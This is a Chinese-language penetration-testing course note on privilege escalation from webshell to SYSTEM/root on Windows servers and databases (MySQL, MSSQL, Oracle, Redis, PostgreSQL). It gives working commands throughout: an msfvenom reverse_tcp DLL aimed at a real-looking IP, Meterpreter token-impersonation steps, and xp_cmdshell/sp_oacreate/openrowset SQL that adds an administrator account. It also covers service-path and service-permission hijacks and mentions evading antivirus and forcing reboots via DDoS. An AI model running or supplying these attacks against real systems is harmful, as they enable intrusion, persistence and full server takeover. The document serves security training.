前期-中期-后期对应的知识关系 。
知识点顺序,理解思路、分类介绍等 。
注重理解当前权限对应可操作的事情。
相关的操作被拒绝⽆法实现的时候就会涉及到权限提升。
后台权限、⽹站权限、数据库权限、接⼝权限、系统权限、域控权限等
后台权限(获得⽅式:爆破、注⼊猜解,弱⼝令等):⼀般⽹站或应⽤后台智能操作应⽤的界⾯内容 数据图⽚等信息,⽆法操作程序的源代码或服务器上的资源⽂件。(如后台功能存在⽂件操作的话也可以 操作⽂件数据)。
⽹站权限(获得⽅式:以上三种思路获取):查看或修改(还要看有没有锁权)程序源代码,可以进 ⾏⽹站或应⽤的配置⽂件读取(接⼝配置信息、数据库配置信息等),还能收集服务器操作系统等相关的 信息,为后续系统提权做准备。
数据库权限:操作数据库的权限,数据库的增删改查等,源码或配置⽂件泄露,也可能是⽹站权限 (webshell)进⾏的数据库配置⽂件读取获得。
接⼝权限:(邮件、短信、⽀付等) 后台或⽹站权限后的获取途径:后台(修改配置信息功能点),⽹站权限(查看配置⽂件获取)。
后台地址,地址可通过目录遍历和cms识别技术发现。后台密码可通过注入,数据库备份文件,网站源码文件爆破等方法获取。
在获取后台密码后,拿到了后台权限,发现无可操作,需要权限提升。
网站底部:站住帮cms。百度搜索无拿shell指南。只能下载源码,进行代码审计。
代码审计,文件上传最高效,抓包分析上传点
没有任何过滤,任意⽂件上传 如果没有代码,我们可以找功能点 SQL执⾏ ⽂件操作、⽂件读取、⽂件写⼊
抓包分析
通过分析中间件分析,该⽹站是phpstudy搭建的。
先前phpstudy曝过漏洞,漏洞利⽤时使⽤postman软件。
其中溢出漏洞和数据库是最主要的,这两个不通才考虑其他的。
明确权限提升基础知识:权限划分
明确权限提升环境问题:WEB及本地,一般web权限要比本地权限要低一些;
明确权限提升方法针对:针对方法适应问题
明确权限提升针对版本:个人及服务器版本;针对方法;
知识点必备:用户及用户组权限划分;Windows提权命令
⽬的:由web权限提升到(溢出漏洞)
已获得⽬标主机web权限(可以是⼤马,也可以是⼀句话然后⽤⼯具连接)
提权⼤部分都会⽤到cmd
whoami查看当前用户名
使用dos命令信息收集,例如systeminfo。
systeminfo结果中补丁程序信息进行筛选,
使用工具vulmap
下载地址:https://github.com/vulmon/Vulmap
把ps1文件拖入powershell运行,自动检测。
vulmap必须在可视化界面的本机中运行,web权限没有运行环境,不适用这款工具。
wes
可以在个人pc中运行,适用于web权限
下载地址:https://github.com/bitsadmin/wesng
cmd运行
参数
执行,systeminfo.txt就是前文systeminfo执行结果。输出到vuln.csv
执行结果
没有打补丁,不一定会存在这个漏洞,这种情况可能是系统版本阉割等原因导致
WindowsVulnScan
下载地址:https://github.com/chroblert/WindowsVulnScan
也需要powershell运行环境,最终生成.json文件,运行的结果其实就是systeminfo的结果,可以将systeminfo的结果按照这个json文件的格式粘贴进去,这样可以避免在powershell环境中运行,也就同样适用于web了。
指定json文件后运行,出现编码错误
直接修改编码即可
执行结果如下
利用-msf
生成一个反弹shell,webshell上传执行这个5577.exe文件,反弹到端口是5577。
5577.exe反弹shell文件可能会被杀毒软件隔离,需要做免杀
使用handler模块,设置反弹载荷(接受管道)
设置配置信息
反弹成功,查询用户为web权限用户
返回搜索一个提权漏洞
选用一个模块
配置
其中session信息就是刚刚反弹会话的session
配置ip,msf所在服务器ip。新端口5588接受提权之后的,5577是接收webshell权限的端口
执行,提权成功
如何判断使用哪种溢出漏洞?漏洞那里找?
信息收集-补丁筛选-利用 MSF 或特定 EXP-执行-西瓜到手
Vulmap,Wes,WindowsVulnScan 对比,exp 在那里获取?
vulmap需要服务器powershell环境,web权限无法使用,且对windows不适用。
wes python本地运行,使用web
windowsvulnscan 可以将systeminfo信息粘贴到json文件中,不必使用powershell,就也同样支持web。
exp的获取:优先选用MSF,若msf中还没有集成所需powershell,可以github搜索或百度。
提权漏洞exp集合:https://github.com/SecWiki/windows-kernel-exploits 并不全。
windows2008
windows 7 x64
获取了本地权限,远程连接服务器后。用户名是xiaodi,非高权限。
运行此文件
自动弹出框,查看用户是system,提权成功
漏洞分析
设置定时任务 at 15:13 /interactive cmd.exe
提权成功
sc Create syscmd binPath= “cmd /K start” type= own type= interact
sc start syscmd
执行,弹出对话框
提权成功
ps是微软官方工具库,不会被查杀
使⽤的前提为下载PSTools,针对Windows2008
psexec.exe -accepteula -s -i -d cmd.exe
1.提权方法有部分适用在不同环境,当然也有通用方法。
2.提权方法也有操作系统版本区分,特性决定方法利用面。
3.提权方法有部分需要特定环境,如数据库,第三方提权等,有才适用。
数据库应用提权在权限提升中的意义
数据库在服务器上存在比较常见。
WEB或本地环境如何探针数据库应用
都可以进行,只要获取到数据库的账号密码即可。
数据库提权权限用户密码收集等方法
1、探针(端口服务)或配置文件判定是否存在数据库
2、信息收集-数据库最高权限账号密码,使用最广泛的就是配置文件或存储文件获取。
目前数据库提权对应的技术及方法等
不同数据库有不同特性,对应着不同的提权方法。
流程:服务探针-信息收集-提权利用-获取权限
环境:阿⾥云(PHP+MYSQL的环境)
已获取webshell权限
登录后,进行探针扫描是否存在数据库
读取网站数据库配置文件(了解其命名规则及查找技巧)
sql data inc config conn database common include等命名比较可疑 。
若数据库配置文件中用户不是root,采取下面方式。
读取数据库存储或备份文件(了解其数据库存储格式及对应内容)
mysql安装的路径和数据存储结构
mysql数据库的密码存储在mysql库中user表。
若密码被加密,一般是cmd5,自行破解。
在webshell中,直接读取@@basedir/data/数据库名/表名.myd文件即可
利用脚本暴力猜解(了解数据库是否支持外联及如何开启外联)
⼯具爆破(root默认不⽀持web连接)所以可能⽆法爆破。脚本爆破,将脚本上传到后⻔上去,这 属于本地连接本地。⽽⼯具属于电脑连接客户端。
UDF提权基于MYSQL调⽤命令执⾏函数。
利用自定义执行函数导出dll文件进⾏命令执行
查询信息:select version() select @@basedir
1.mysql<5.1 导出⽬录c:/windows或system32
2.mysql>=5.1 导出安装⽬录/lib/plugin/(这个⽬录默认是没有的,需要我们去创建)
⼿⼯创建plugin⽬录或者利⽤NTFS流创建
select ‘x’ into dumpfile ‘⽬录/lib/plugin::INDEX_ALLOCATION’;
查询版本信息 5.5.53>5.1
查询数据库安装目录
创建/lib/plugin
点击mysql提权,将dll安装到对应的⽬录
dll安装完毕后,就可以命令执⾏了
再之后就可以创建系统用户,给予权限,连接3389。
原理:导出⾃定义mof⽂件到系统⽬录加载
参考地址:https://www.cnblogs.com/xishaonian/p/6384535.html
原理:导出⾃定义可执⾏⽂件到启动⽬录配合重启执⾏
将创建好的后门或执⾏⽂件进⾏服务器启动项写⼊启动目录,配合重启执⾏;
实验环境:win2012
默认启动目录
这里使用msf提权,msf提权需要root支持外联
点击开启外联,修改密码
mysql操作开启外连后,然后利⽤MSF的exploit/mysql/mysql_start_up启动项模块
配置信息,需要反弹可以配置,这里没有配置。
服务器重启,会自动加载启动项。重启方式:ddos等。执行后,cs工具上线远控。
nc-l-p5577
另一个大马
创建反弹函数
创建反弹函数后,执行sql语句
监听,提权成功
sqlserver是微软官方数据库,只能在windows上使用。
sqlserver与mysql最大区别,sa账户支持外连。
流程:服务探针-信息收集-提权利用-获取权限
探针,信息收集略。
配置文件获取了sa账号密码
xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则默认禁止。如果用户拥有管理员sa权限则可以用sp_configure重新开启它。
启用:
EXEC sp_configure ‘show advanced options’, 1
RECONFIGURE;
EXEC sp_configure ‘xp_cmdshell’, 1;
RECONFIGURE;
关闭:
exec sp_configure ‘show advanced options’, 1;
reconfigure;
exec sp_configure ‘xp_cmdshell’, 0;
reconfigure;
执行:
EXEC master.dbo.xp_cmdshell ‘命令’
如果xp_cmdshell被删除了,可以上传xplog70.dll进行恢复
exec master.sys.sp_addextendedproc ‘xp_cmdshell’, 'C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll
链接sqlsever
xp_cmdshell存在
执行命令,xp_cmdshell未开启。这里测试系统是win2003默认关闭
启用
命令执行,提权成功
主要是用来调用 OLE 对象,利用 OLE 对象的 run 方法执行系统命令。
启用:
EXEC sp_configure ‘show advanced options’, 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure ‘Ole Automation Procedures’, 1;
RECONFIGURE WITH OVERRIDE;
关闭:
EXEC sp_configure ‘show advanced options’, 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure ‘Ole Automation Procedures’, 0;
RECONFIGURE WITH OVERRIDE;
执行:
declare @shell int exec sp_oacreate ‘wscript.shell’,@shell output exec sp_oamethod @shell,‘run’,null,‘c:\windows\system32\cmd.exe /c whoami >c:\1.txt’ //这里指向c盘文件是为了避免可能会存在的无回显或回显信息不全问题。真实环境可以用webshell直接访问1.txt,查看执行结果。
执行,发现未开启
启用
执行后,自动生成1.txt,提权成功
参考资料:https://blog.51cto.com/11797152/2411770
沙盒:沙盒(英语:sandbox,又译为沙箱),计算机专业术语,在计算机安全领域中是一种安全机制,为运行中的程序提供的隔离环境。通常是作为一些来源不可信、具破坏力或无法判定程序意图的程序提供实验之用。
exec sp_configure ‘show advanced options’,1;reconfigure;
– 不开启的话在执行xp_regwrite会提示让我们开启,
exec sp_configure ‘Ad Hoc Distributed Queries’,1;reconfigure;
–关闭沙盒模式,如果一次执行全部代码有问题,先执行上面两句代码。
exec master…xp_regwrite ‘HKEY_LOCAL_MACHINE’,‘SOFTWARE\Microsoft\Jet\4.0\Engines’,‘SandBoxMode’,‘REG_DWORD’,0;
–查询是否正常关闭,经过测试发现沙盒模式无论是开,还是关,都不会影响我们执行下面的语句。
exec master.dbo.xp_regread ‘HKEY_LOCAL_MACHINE’,‘SOFTWARE\Microsoft\Jet\4.0\Engines’, ‘SandBoxMode’
–执行系统命令select * from openrowset(‘microsoft.jet.oledb.4.0’,‘;database=c:/windows/system32/ias/ias.mdb’,‘select shell(“net user margin margin /add”)’)
select * from openrowset(‘microsoft.jet.oledb.4.0’,‘;database=c:/windows/system32/ias/ias.mdb’,‘select shell(“net localgroup administrators margin /add”)’)
沙盒模式SandBoxMode参数含义(默认是2)
0
:在任何所有者中禁止启用安全模式
1
:为仅在允许范围内
2
:必须在access模式下
3
:完全开启
openrowset是可以通过OLE DB访问SQL Server数据库,OLE DB是应用程序链接到SQL Server的的驱动程序。
此工具就支持这三种模式提权
oracle一般搭配java环境-jsp⽹站,后⻔不需要提权,⾃带system
探针信息收集略。
账号密码已获取
前提是拥有⼀个普通的oracle连接账号,不需要DBA权限,可提权⾄DBA,并以 oracle实例运⾏的权限执⾏操作系统命令。
sqlmap判定用户是否为dba
拥有DBA账号密码,可以省去⾃⼰动⼿创建存储的繁琐步骤,⼀键执⾏测试。
拥有⼀个Oracle注⼊点,可以通过注⼊点直接执⾏系统命令,此种模式没有实现回显,要⾃⼰验证
Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。
利⽤计划任务执⾏命令反弹shell
写ssh-keygen公钥使⽤私钥登录
低权限写webshell
Redis 服务因配置不当,可被攻击者恶意利用。黑客借助 Redis 内置命令,可将现有数据恶意清空;
如果 Redis 以 root 身份运行,黑客可往服务器上写入 SSH 公钥文件,直接登录服务器。
连接(未授权或有密码)-利用如下方法提权
参考文档:https://blog.csdn.net/fly_hps/article/details/80937837
(1).利用计划任务执行命令反弹 shell
(2).写 ssh-keygen 公钥然后使用私钥登陆
(3).权限较低往 web 物理路径写 webshell
修复方案:
注意:以下操作,均需重启 Redis 后才能生效。
绑定需要访问数据库的 IP。 将 127.0.0.1 修改为需要访问此数据库的 IP 地址。-防止外连
设置访问密码。在 Redis.conf 中 requirepass 字段后,设置添加访问密码。-避免未授权漏洞登录
修改 Redis 服务运行账号。以较低权限账号运行 Redis 服务,禁用账号的登录权限。-防止提权
探针信息收集略
通过信息收集到密码或者利用redis未授权漏洞连接到服务器
这里进行的是直接登录服务器密码链接,真实环境可以准备一个客户端连接。
接下来漏洞提权,按照参考文档逐步进行。
登录反弹shell服务器,执行监听命令。
按照文档,执行命令
提权成功
参考文档:https://blog.csdn.net/fly_hps/article/details/80937837
参考文档:https://blog.csdn.net/fly_hps/article/details/80937837
PostgreSQL 是一款关系型数据库。其 9.3 到 11 版本中存在一处“特性”,管理员或具有“COPY TO/FROMPROGRAM”权限的用户,可以使用这个特性执行任意命令。
提权利用的是漏洞:CVE-2019-9193 CVE-2018-1058
连接-利用漏洞-执行-提权
参考:https://vulhub.org/#/environments/postgres/
**修复方案:**升级版本或打上补丁
探针信息收集略
服务器ip地址
navicat建立连接
这里是利用高权限提权,postgres就是高权限用户。
执行语句
提权成功!linux uid:1-500就是系统权限,0是root 参考:https://www.csdn.net/tags/MtjaIg5sMjQwNzQtYmxvZwO0O0OO0O0O.html
进行远程过程调用时请求提升权限,然后调用它从而生成特权安全令牌以执行特权操作。当系统允许令牌不仅用于进程本身,还用于原始请求进程时,漏洞就会出现。
本地提权实验:获取会话-利用模块-窃取令牌-提权
Microsoft Windows XP Professional SP3 和之前版本
Windows Server 2003 SP2 和之前的版本
Windows Server 2003 x64 和 x64 SP2
Windows Server 2003(用于基于 Itanium 的系统 SP2 和先前版本)
Windows Server 2008 x32 x64
Windows Server 2008(用于基于 Itanium 的系统)
Windows Vista SP1 和之前的版本
Windows Vista x64 SP1 和之前的版本
窃取命令
use incognito
list_tokens -u
impersonate_token “NT AUTHORITY\SYSTEM”
进程注入提权是本地提权方式的一种较为老的安全技术了,利用的是注入进程的所有者实现权限共
享机制,这类技术主要利用在 windows2008 之前操作系统上.所以我们需要学习后续的本地提权更多
的手法才能有针对高版本的系统。
pinjector 进程注入工具针对-win2008 以前操作系统
pexec64 32 进程注入工具针对-win2008 及后操作系统-(佛系,成功几率低)
工具下载地址:https://www.tarasco.org/security/Process_Injector/processinjector.zip
解压后,拖入exe -l获取当前计算机进程列表和对应权限
-p 开放端口,攻击机远程连接端口将cmd反弹给它
攻击机连接
参考:http://t.zoukankan.com/LyShark-p-13785619.html,工具下载地址已经404
令牌窃取配合烂土豆提权
单纯令牌窃取:Web权限或本地提权
配合烂土豆提权:Web或数据库等权限
烂土豆下载地址:https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-075
不带引号服务路径安全问题
服务路径提权:Web权限或本地提权
不安全的服务权限配置问题
服务权限配置:Web权限或本地提权(Web几率小)
补充说明:dll劫持提权及AlwaysInstallElevated等说明
dll劫持提权需要特定软件应用的控制权限及启用配合,复杂鸡肋AlwaysInstallElevated提权默认禁用配置,利用成功机会很少
烂土豆下载地址:https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-075
**原理:**参考上述图片内容,非服务类用户权限无法窃取成功(原理)
**过程:**上传烂土豆-执行烂土豆-利用窃取模块-窃取SYSTEM-成功
upload /root/potato.exe C:\Users\Public
cd C:\Users\Public
execute -cH -f ./potato.exe
use incognito
list_tokens -u
impersonate_token “NT AUTHORITY\SYSTEM”
大马
MSF⽣成木马
通过webshell上传⽊⻢,并且执⾏
执⾏之前先在msf上开启监听
执⾏之后在msf看到会话
上传烂⼟⾖到目标服务器,并且执⾏(执⾏并⾮在webshell上执⾏,⽽是在MSF上执⾏)
在msf中没有在C盘列表中看到potato.exe⽂件,但通过webshell我们可以知道我们已经上传了,在C 盘根⽬录
之后再使⽤令牌窃取
使用前提:1、由第三方软件 2、webshell权限能够替换dll文件 3、管理员必须运行这个程序
原理: Windows 程序启动的时候需要 DLL。如果这些 DLL 不存在,则可以通过在应用程序要查找的位置放置恶意 DLL 来提权。通常,Windows 应用程序有其预定义好的搜索 DLL 的路径,它会根据下面的顺序进行搜索:
1、应用程序加载的目录
2、C:\Windows\System32
3、C:\Windows\System
4、C:\Windows
5、当前工作目录 Current Working Directory,CWD
6、在 PATH 环境变量的目录(先系统后用户)
**过程:**信息收集-进程调试-制作 dll 并上传-替换 dll-启动应用后成功
msfvenom -p windows/meterpreter/reverse_tcp lhost=101.37.169.46 lport=6677 -f dll >/opt/xiaodi.dll
收集信息
查看服务
查看文件,发现⼀个flashfxp第三⽅软件
进程调试
在⽹上下载flashfxp软件
⽤⽕绒剑来调试软件,运行flashfxp.exe
寻找非系统⽂件,
使⽤MSF⽣产dll,替换dll。(在低权限下,最好选择flashfxp文件路径的dll,其他可能无权限修改)
MSF监听,当软件执⾏时调⽤dll,反弹成功
这里反弹过来的权限是administrator,原因是这种提权方式就是模拟管理用户运行木马,所以就是administrator。
之后再通过令牌窃取获取system系统权限**。较新版本只有adminitrator权限才能进行令牌窃取**
**原理:**当 Windows 服务运行时,会发生以下两种情况之一。如果给出了可执行文件,并且引用了完整路径,则系统会按字面解释它并执行。但是,如果服务的二进制路径未包含在引号中,则操作系统将会执行找到的空格分隔的服务路径的第一个实例。
C:\Program Files\a.exe 若未加引号,windows会将Files\a.exe作为参数运行
**过程:**检测引号服务路径-利用路径制作文件并上传-启用服务或重启-调用后成功
wmic service get name,displayname,pathname,startmode |findstr /i “Auto” |findstr /i /v “C:\Windows\”
执行命令,检测无引号服务路径(有引号为正常,没有引号就会有问题)
该命令显示这两个地⽅可以操作,路径当中有空格才能利用。
当这样执⾏时,系统会把C:\Program空格后⾯的当作参数
我们可以把⼀个cmd名字改为Program,这样就能运⾏了
上图运行的是名为Program.exe的cmd程序。
利用时,就可以把这个Program.exe变为木马程序,⽤本地启⽤,启动端⼝监听,获得了会话
直接获得system权限
**原理:**即使正确引用了服务路径,也可能存在其他漏洞。由于管理配置错误,用户可能对服务拥有过多的权限,例如,可以直接修改它导致重定向执行文件。
**过程:**检测服务权限配置-制作文件并上传-更改服务路径指向-调用后成功
accesschk.exe -uwcqv “administrators” *
sc config “NewServiceName” binpath=“C:\Program.exe”
sc start “NewServiceName”
accesschk微软官方:https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk
检测administrators可操作的服务项
真实环境一定不是administrator权限,修改对应用户名再运行即可。
如果在实战中出现该标志,则该⽅法不可⽤
自己所创建的服务
配置并启用服务
监听,获得会话,直接获得System权限
掌握:提权方法对应层面,提权方法对应系统版本,相关文件及后门免杀问题等